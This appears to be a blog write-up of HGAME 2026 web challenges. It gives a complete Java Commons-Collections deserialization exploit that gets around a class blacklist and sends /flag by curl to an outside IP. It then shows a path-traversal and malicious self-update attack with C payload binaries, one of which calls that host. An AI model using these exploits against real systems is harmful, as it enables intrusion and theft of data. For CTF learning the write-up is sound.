sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
java.lang.reflect.Method.invoke(Method.java:498)
java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1184)
java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2322)
java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2213)
java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1669)
java.io.ObjectInputStream.readObject(ObjectInputStream.java:503)
java.io.ObjectInputStream.readObject(ObjectInputStream.java:461)
Hgame.ezCC.Tool.deserialize(Tool.java:9)
Hgame.ezCC.myServlet.showWelcomePage(myServlet.java:74)
Hgame.ezCC.myServlet.doGet(myServlet.java:19)
javax.servlet.http.HttpServlet.service(HttpServlet.java:529)
javax.servlet.http.HttpServlet.service(HttpServlet.java:623)
org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:51)

blacklist 这时候才想起来刚刚反编译有个blacklist的class:

package Hgame.ezCC;
import java.io.IOException;
import java.io.InputStream;
import java.io.InvalidClassException;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;
/* loaded from: ezcc.war:WEB-INF/classes/Hgame/ezCC/BlacklistObjectInputStream.class */
public class BlacklistObjectInputStream extends ObjectInputStream {
public BlacklistObjectInputStream(InputStream in) throws IOException {
super(in);
}
@Override // java.io.ObjectInputStream
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
String className = desc.getName();
if (className.equals("org.apache.commons.collections.functors.InvokerTransformer")) {
throw new InvalidClassException("Forbidden class", className);
}
return super.resolveClass(desc);
}
}

啊,这个时候AI就跟我说,可以CC3+CC6,用CC3的头部绕过InvokerTransformer,用CC6的尾部来RCE。Exp.java如下:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class Exp {
public static void main(String[] args) throws Exception {
// 1. 准备恶意命令
// 注意:Runtime.exec 不支持管道符和重定向,建议使用 Base64 编码以此绕过
// bash -c {echo,BASE64_CODE}|{base64,-d}|{bash,-i}
String cmd = "curl -X POST --data-binary @/flag http://120.26.146.96:3306/";
// 2. 构造 TemplatesImpl (CC3 的核心)
// 这个类被实例化时,会加载 bytecode 里的类,从而执行 static 代码块
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{createEvilBytecode(cmd)});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl());
// 3. 构造 Transformer 链 (CC3 的逻辑)
// 目的是调用 obj.newTransformer()
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{obj}
)
};
// 4. 构造 LazyMap 和 TiedMapEntry (CC6 的入口)
// 为了避免生成 payload 时本地先触发,我们先用假的 Transformer
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "k");
// 5. 放入 HashMap (触发点)
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "v");
// 6. 替换为真的 Transformer 链
// 构造完 HashMap 后再换回来,防止本地 put 的时候就执行了
setFieldValue(chainedTransformer, "iTransformers", transformers);
// 清空 lazyMap,因为刚才 put 的时候可能已经生成了 key
lazyMap.remove("k");
// 7. 序列化 + Base64 输出
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray()));
}
// 辅助方法:生成包含恶意命令的字节码
private static byte[] createEvilBytecode(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("EvilClass" + System.nanoTime());
// 必须继承 AbstractTranslet
cc.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
// 构造函数或静态块里写命令执行
CtConstructor constructor = cc.makeClassInitializer();
constructor.setBody("{ java.lang.Runtime.getRuntime().exec(\"" + cmd + "\"); }");
return cc.toBytecode();
}
// 辅助方法:反射修改字段
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

不太懂,但真的成功了😨。不过nc是弹不过来的,bash也不行,但是一开始验证RCE的时候是用了curl,那么自然想到使用@把文件post上来,也确实是可行的。

javac -cp ysoserial-all.jar Exp.java; java -cp .:ysoserial-all.jar Exp | pbcopy

rce flag

那么到底是为啥呢? ask_ai

// 辅助方法:使用 Javassist 生成字节码
private static byte[] createEvilBytecode(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("EvilClass" + System.nanoTime());
// Key Point 1: 必须继承 AbstractTranslet
// 为什么?因为 TemplatesImpl 在加载类时,会强制检查这个类是否是 AbstractTranslet 的子类。
// 如果不是,它会直接报错,不进行实例化,也就不会执行我们的代码。
cc.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
// Key Point 2: 把命令写在静态块 (static block) 或构造函数里
// 只要类被实例化 (new EvilClass()),这段代码就会立刻执行。
CtConstructor constructor = cc.makeClassInitializer();
constructor.setBody("{ java.lang.Runtime.getRuntime().exec(\"" + cmd + "\"); }");
return cc.toBytecode();
}

这一段可以理解,就是php pop链的eval部分

// 2. 构造 TemplatesImpl 对象
TemplatesImpl obj = new TemplatesImpl();
// 通过反射把我们的恶意字节码塞进去
setFieldValue(obj, "_bytecodes", new byte[][]{createEvilBytecode(cmd)});
// 这个名字必须有,否则会报错
setFieldValue(obj, "_name", "HelloTemplatesImpl");
// 这是一个必须的辅助字段,避免空指针异常
setFieldValue(obj, "_tfactory", new com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl());

这一段是CC3的核心内容。Java 反序列化时不会自动加载字节码。需要一个 JDK 自带的类 TemplatesImplTemplatesImpl是⼀个可以加载字节码的类,它的成员变量_bytecodes可以存储字节码,通过调⽤其newTransformer()⽅法,即可执⾏这段字节码的类构造器。而且这个类不在commons-collections黑名单里。这一步有点类似php的unserialize啊。这里我参考了这篇文章https://www.cnblogs.com/gk0d/p/16881370.html,讲解CC3,收获还是挺大的。上面这个片段和这篇文章里的PoC基本一模一样。

// 3. 构造 Transformer 链
Transformer[] transformers = new Transformer[]{
// 这一步相当于: new ConstantTransformer(TrAXFilter.class).transform(任何东西) -> 返回 TrAXFilter.class
new ConstantTransformer(TrAXFilter.class),
// 这一步相当于: new InstantiateTransformer(构造参数类型, 构造参数值).transform(前一步的TrAXFilter.class)
// 最终执行: new TrAXFilter(obj)
// -> 触发 TrAXFilter 构造函数 -> 触发 obj.newTransformer() -> 爆炸!
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{obj}
)
};

还是回到刚刚那篇文章。CC1、CC6使用了黑名单里的InvokerTransformer来反射任意方法。而CC3使用了com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter。但是,缺少了InvokerTransformerTrAXFilter的构造⽅法也是⽆法调⽤的。这⾥会⽤到⼀个新的Transformer,就是org.apache.commons.collections.functors.InstantiateTransformerInstantiateTransformer也是⼀个实现了Transformer接⼝的类,他的作⽤就是调⽤构造⽅法。上方代码就是利⽤InstantiateTransformer来调⽤到TrAXFilter的构造⽅法,再利⽤其构造⽅法⾥的templates.newTransformer()调⽤到TemplatesImpl⾥的字节码。这就可以绕过InvokerTransformer执行一开始写的字节码。

// 4. 构造 LazyMap 和 TiedMapEntry
// 【防走火机制】先放一个假的 Transformer
// 为什么要这样?因为我们在本地构造 HashMap.put() 的时候,如果不小心就会触发 key.hashCode()。
// 如果直接放真的 exp,你自己电脑上的计算器就弹出来的,Payload 还没生成呢。
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
// 创建 LazyMap,只要有人调用 get(),它就找 chainedTransformer
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);
// 创建 TiedMapEntry,它被当作 Key
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "k");
// 5. 放入 HashMap (这才是真正的反序列化入口)
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "v"); // 把 TiedMapEntry 当作 Key 放进去

这里对应CC6的部分,接着参考同一个作者的文章:[text](https://www.cnblogs.com/gk0d/p/16880711.html)。这段代码实现的功能是让服务器在readObject的时候触发刚刚构造的链条。关键点是,`HashMap`反序列化时会把里面所有的`Key`都算一遍`hashCode()`。这里把`Key`设置为`TiedMapEntry`。当`TiedMapEntry.hashCode()` 会调用内部 Map 的 get()。再把内部 Map 设置为 LazyMap而当LazyMap.get() 发现 Key 不存在时,会调用Transformer链来生成值。

// 6. 替换为真的 Transformer 链
// 通过反射,把 chainedTransformer 里面的 "iTransformers" 字段换成真正的 transformers 数组
setFieldValue(chainedTransformer, "iTransformers", transformers);
// 清理现场:刚才 put 的时候,LazyMap 可能已经生成了一个 "k" 键。
// 必须把它删掉!否则服务器反序列化时,发现 "k" 已经存在,就不会去调用 transform 了。
lazyMap.remove("k");

这一段是最后的构造,把前面构造的Transformer 链放入准备**被调用hashCode()**的map。

easyuu#

uu是什么意思,很简单吗,分开来想想你就明白啦

看前端,发现是Leptos + WASM,那么后端就是Rust了。uu是什么意思?猜测是URL Unencoding,尝试双重编码。不过没用。突然发现,单层编码居然能够穿越。 etc_passwd 先把二进制下载下来

curl -v "http://1.116.118.188:32458/api/download_file/..%2feasyuu" --output easyuu_bin

虚拟文件系统大小是0,响应也是0.

curl -v "http://1.116.118.188:32458/api/download_file/..%2f..%2f..%2f..%2fproc%2fself%2fcmdline"

读一下Cargo.toml,还真读到了。

curl -v "http://1.116.118.188:32458/api/download_file/..%2fCargo.toml"

奇怪的事情从这里开始发生。dep:self-replace是什么东西啊😨这里也了解到,后端监听3000端口

[package]
name = "easyuu"
version = "0.1.0"
edition = "2024"
[lib]
crate-type = ["cdylib", "rlib"]
[dependencies]
leptos = { version = "0.8.15", features = ["multipart", "nightly"] }
leptos_router = { version = "0.8.11", features = ["nightly"] }
axum = { version = "0.8.8", optional = true }
console_error_panic_hook = { version = "0.1.7", optional = true }
leptos_axum = { version = "0.8.7", optional = true }
leptos_meta = { version = "0.8.5" }
tokio = { version = "1.49.0", features = ["full"], optional = true }
wasm-bindgen = { version = "0.2.108", optional = true }
serde = { version = "1.0.228", features = ["derive"] }
tokio-util = "0.7.18"
self-replace = { version = "1.5.0", optional = true }
semver = "1.0.27"
[features]
hydrate = [
"leptos/hydrate",
"dep:console_error_panic_hook",
"dep:wasm-bindgen",
]
ssr = [
"dep:axum",
"dep:tokio",
"dep:leptos_axum",
"dep:self-replace",
"leptos/ssr",
"leptos_meta/ssr",
"leptos_router/ssr",
]
# Defines a size-optimized profile for the WASM bundle in release mode
[profile.wasm-release]
inherits = "release"
opt-level = 'z'
lto = true
codegen-units = 1
panic = "abort"
[package.metadata.leptos]
# The name used by wasm-bindgen/cargo-leptos for the JS/WASM bundle. Defaults to the crate name
output-name = "easyuu"
# The site root folder is where cargo-leptos generate all output. WARNING: all content of this folder will be erased on a rebuild. Use it in your server setup.
site-root = "target/site"
# The site-root relative folder where all compiled output (JS, WASM and CSS) is written
# Defaults to pkg
site-pkg-dir = "pkg"
# [Optional] The source CSS file. If it ends with .sass or .scss then it will be compiled by dart-sass into CSS. The CSS is optimized by Lightning CSS before being written to <site-root>/<site-pkg>/app.css
style-file = "style/main.scss"
# Assets source dir. All files found here will be copied and synchronized to site-root.
# The assets-dir cannot have a sub directory with the same name/path as site-pkg-dir.
#
# Optional. Env: LEPTOS_ASSETS_DIR.
assets-dir = "public"
# The IP and port (ex: 127.0.0.1:3000) where the server serves the content. Use it in your server setup.
site-addr = "0.0.0.0:3000"
# The port to use for automatic reload monitoring
reload-port = 3001
# [Optional] Command to use when running end2end tests. It will run in the end2end dir.
# [Windows] for non-WSL use "npx.cmd playwright test"
# This binary name can be checked in Powershell with Get-Command npx
end2end-cmd = "npx playwright test"
end2end-dir = "end2end"
# The browserlist query used for optimizing the CSS.
browserquery = "defaults"
# The environment Leptos will run in, usually either "DEV" or "PROD"
env = "DEV"
# The features to use when compiling the bin target
#
# Optional. Can be over-ridden with the command line parameter --bin-features
bin-features = ["ssr"]
# If the --no-default-features flag should be used when compiling the bin target
#
# Optional. Defaults to false.
bin-default-features = false
# The features to use when compiling the lib target
#
# Optional. Can be over-ridden with the command line parameter --lib-features
lib-features = ["hydrate"]
# If the --no-default-features flag should be used when compiling the lib target
#
# Optional. Defaults to false.
lib-default-features = false
# The profile to use for the lib target when compiling for release
#
# Optional. Defaults to "release".
lib-profile-release = "wasm-release"

src_is_gone 至此,当前所有能够猜出来的文件泄漏就这些了(源码好像被删了,反正我没找到)。

ghidra 那么,只能对easyuu二进制下手了,macOS arm64的IDA PRO破解版还没找到,只能用Ghidra,妈的Rust全是垃圾回收,代码看不下去一点,Ghidra又巨卡,关键地方还decomelier失效… ghidra_wtf 无语住了,直接上strings分析。

那么既然有已知的api(api/download_file),自然是要看看还有什么api(我可不想扒那个wasm)。

eazyuu strings easyuu_bin | grep "api/"
/api/download_file/
application/octet-streamheader_read_timeoutcore missinga spawned task panicked and the runtime is configured to shut down on unhandled panicinternal error: entered unreachable codeCannot start a runtime from within a runtime. This happens because a function (like `block_on`) attempted to block the current thread while the thread is being used to drive asynchronous tasks.failed to park threadFailed to `Enter::block_on`0.1.0Failed to get configuration/api/download_file/{filename}Failed to bind to addressServer failedFailed building the RuntimeHeaderValue::from_static with invalid bytesassertion failed: (*tail).value.is_none()assertion failed: (*next).value.is_some()EventListener was not inserted into the linked list, make sure you're not polling EventListener/listener! after it has finishedtext/html; charset=utf-8[internal exception] blocking task ran twice.ErrorinnerConfigNotFoundConfigSectionNotFoundConfigErrorEnvVarError`Ready` polled after completionNotEofIncompleteBodydescription() is deprecated; use Display
/api/upload_filetext/plain
/api/list_dir
/api/lisH

对了呀。其中/api/lisH是前端js、wasm相关,忽略;/api/upload_filetext/plain确实是上传;/api/list_dir有点可以,试一下(怪贴心的,响应里还教你怎么请求):

curl -v -X POST "http://1.116.118.188:32458/api/list_dir" \
-d "path=/"
eazyuu curl -v -X POST "http://1.116.118.188:31005/api/list_dir" \
-d "path=/"
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 1.116.118.188:31005...
* Connected to 1.116.118.188 (1.116.118.188) port 31005
> POST /api/list_dir HTTP/1.1
> Host: 1.116.118.188:31005
> User-Agent: curl/8.7.1
> Accept: */*
> Content-Length: 6
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 6 bytes
< HTTP/1.1 200 OK
< content-type: application/json
< content-length: 782
< date: Thu, 12 Feb 2026 19:13:58 GMT
<
* Connection #0 to host 1.116.118.188 left intact
[{"name":"bin","is_dir":false,"size":7},{"name":"boot","is_dir":true,"size":0},{"name":"dev","is_dir":true,"size":360},{"name":"etc","is_dir":true,"size":10},{"name":"home","is_dir":true,"size":0},{"name":"lib","is_dir":false,"size":7},{"name":"lib64","is_dir":false,"size":9},{"name":"media","is_dir":true,"size":0},{"name":"mnt","is_dir":true,"size":0},{"name":"opt","is_dir":true,"size":0},{"name":"proc","is_dir":true,"size":0},{"name":"root","is_dir":true,"size":30},{"name":"run","is_dir":true,"size":14},{"name":"sbin","is_dir":false,"size":8},{"name":"srv","is_dir":true,"size":0},{"name":"sys","is_dir":true,"size":0},{"name":"tmp","is_dir":true,"size":0},{"name":"usr","is_dir":true,"size":40},{"name":"var","is_dir":true,"size":22},{"name":"app","is_dir":true,"size":12}]

简单溜达一圈,没找到flag,但是发现了这个:

eazyuu curl -v -X POST "http://1.116.118.188:32458/api/list_dir" \
-d "path=/app/update"
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 1.116.118.188:32458...
* Connected to 1.116.118.188 (1.116.118.188) port 32458
> POST /api/list_dir HTTP/1.1
> Host: 1.116.118.188:32458
> User-Agent: curl/8.7.1
> Accept: */*
> Content-Length: 16
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 16 bytes
< HTTP/1.1 200 OK
< content-type: application/json
< content-length: 101
< date: Thu, 12 Feb 2026 18:10:35 GMT
<
* Connection #0 to host 1.116.118.188 left intact
[{"name":"easyuu.zip","is_dir":false,"size":103224},{"name":"easyuu","is_dir":false,"size":11071912}]

easyuu.zip,那肯定是要下载下来研究一下:

curl -v "http://1.116.118.188:32458/api/download_file/..%2fupdate%2feasyuu.zip" --output easyuu.zip

我超,是源码!

if args.len() > 1 && args[1] == "--version" {
println!("{}", VERSION);
return;
}

简单分析一下,大彻大悟了。uu 指的是 uploads/update

#[cfg(feature = "ssr")]
async fn get_new_version() -> Option<Version> {
use tokio::process::Command;
let output = Command::new("./update/easyuu")
.arg("--version")
.output()
.await
.ok()?;
let version_str = String::from_utf8(output.stdout).ok()?.trim().to_string();
Version::parse(&version_str).ok()
}
#[cfg(feature = "ssr")]
async fn update() -> Result<(), Box<dyn std::error::Error>> {
let new_binary = "./update/easyuu";
self_replace::self_replace(&new_binary)?;
// fs::remove_file(&new_binary)?;
Ok(())
}

这个easyuu每隔5s检测一次./update/easyuu是否存在,如果存在,会执行./update/easyuu --version,如果返回的版本号大于0.1.0,就会self_replace./update/easyuu

Some("path1") => {
if let Ok(p) = field.text().await {
base_dir = PathBuf::from(p);
}
continue;
}

而且这个/api/upload_file还存在一个path1参数,可以任意指定上传位置。

好的那来测试一下:

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
if (argc == 2 && strcmp(argv[1], "--version") == 0) {
printf("0.2.0\n");
return 0;
}
execl("/bin/bash", "curl", "http://120.26.146.96:3306/hello", NULL);
perror("execl failed");
return 1;
}

我这里使用orb交叉编译到linux-x86

x86_64-linux-gnu-gcc exploit.c -o easyuu

上传!

curl -v -X POST "http://1.116.118.188:31228/api/upload_file" \
-F "path1=./update" \
-F "file=@easyuu;filename=easyuu"

lost 坏了,容器是不出网的,我相信flag大概率就在env里。但是如果直接env > /app/uploads/env.txt,easyuu被替换后,api也挂了。所以需要自己实现一个HTTP Server,监听3000端口。

C写HTTP我真不会,让ai来吧:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <fcntl.h>
#define PORT 3000
// 辅助函数:将文件内容发送到 socket
void send_file_content(int sock, const char *filepath, const char *title) {
char buffer[1024];
char title_buf[256];
int fd = open(filepath, O_RDONLY);
sprintf(title_buf, "\n\n--- %s (%s) ---\n", title, filepath);
send(sock, title_buf, strlen(title_buf), 0);
if (fd != -1) {
int bytes;
while ((bytes = read(fd, buffer, sizeof(buffer))) > 0) {
send(sock, buffer, bytes, 0);
}
close(fd);
} else {
char *msg = "[File not found or permission denied]\n";
send(sock, msg, strlen(msg), 0);
}
}
int main(int argc, char *argv[]) {
if (argc > 1 && strcmp(argv[1], "--version") == 0) {
printf("0.2.0\n");
return 0;
}
system("env > /tmp/envs.txt");
int server_fd, new_socket;
struct sockaddr_in address;
int opt = 1;
int addrlen = sizeof(address);
char buffer[1024] = {0};
// 创建 socket
if ((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == 0) {
perror("socket failed");
exit(EXIT_FAILURE);
}
// 设置端口复用 (防止重启瞬间端口被占)
if (setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, &opt, sizeof(opt))) {
perror("setsockopt");
exit(EXIT_FAILURE);
}
address.sin_family = AF_INET;
address.sin_addr.s_addr = INADDR_ANY;
address.sin_port = htons(PORT);
// 绑定 3000 端口
if (bind(server_fd, (struct sockaddr *)&address, sizeof(address)) < 0) {
perror("bind failed");
// 如果绑定失败,可能是旧进程还没彻底死掉,尝试 sleep 一下再试(但在 exec 模式下通常不需要)
exit(EXIT_FAILURE);
}
if (listen(server_fd, 3) < 0) {
perror("listen");
exit(EXIT_FAILURE);
}
printf("Hacked Web Server listening on port %d\n", PORT);
// 无限循环处理请求
while (1) {
if ((new_socket = accept(server_fd, (struct sockaddr *)&address, (socklen_t*)&addrlen)) < 0) {
continue;
}
// 简单的读取一下请求(我们不解析它,只要有连接就给 Flag)
read(new_socket, buffer, 1024);
// 构造 HTTP 响应头
char *header = "HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\nConnection: close\r\n\r\n";
send(new_socket, header, strlen(header), 0);
send_file_content(new_socket, "/tmp/envs.txt", "Environment Variables");
close(new_socket);
}
return 0;
}

flag 上传后任意请求,拿到flag:

--- Environment Variables (/tmp/envs.txt) ---
KUBERNETES_SERVICE_PORT=443
KUBERNETES_PORT=tcp://10.43.0.1:443
HOSTNAME=ret2shell-192-3058-1770922650
HOME=/root
LEPTOS_SITE_ADDR=0.0.0.0:3000
LEPTOS_SITE_ROOT=site
RUST_LOG=info
KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443
KUBERNETES_SERVICE_HOST=10.43.0.1
PWD=/app
FLAG=hgame{Up1o@D_and_updAT3-@Re_rEaI1Y_e@5Y1cfda}
分享

如果这篇文章对你有帮助,欢迎分享给更多人!

HGAME-2026
https://blog.chaomixian.top/posts/hgame-2026/
作者
炒米线
发布于
2026-02-22
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

目录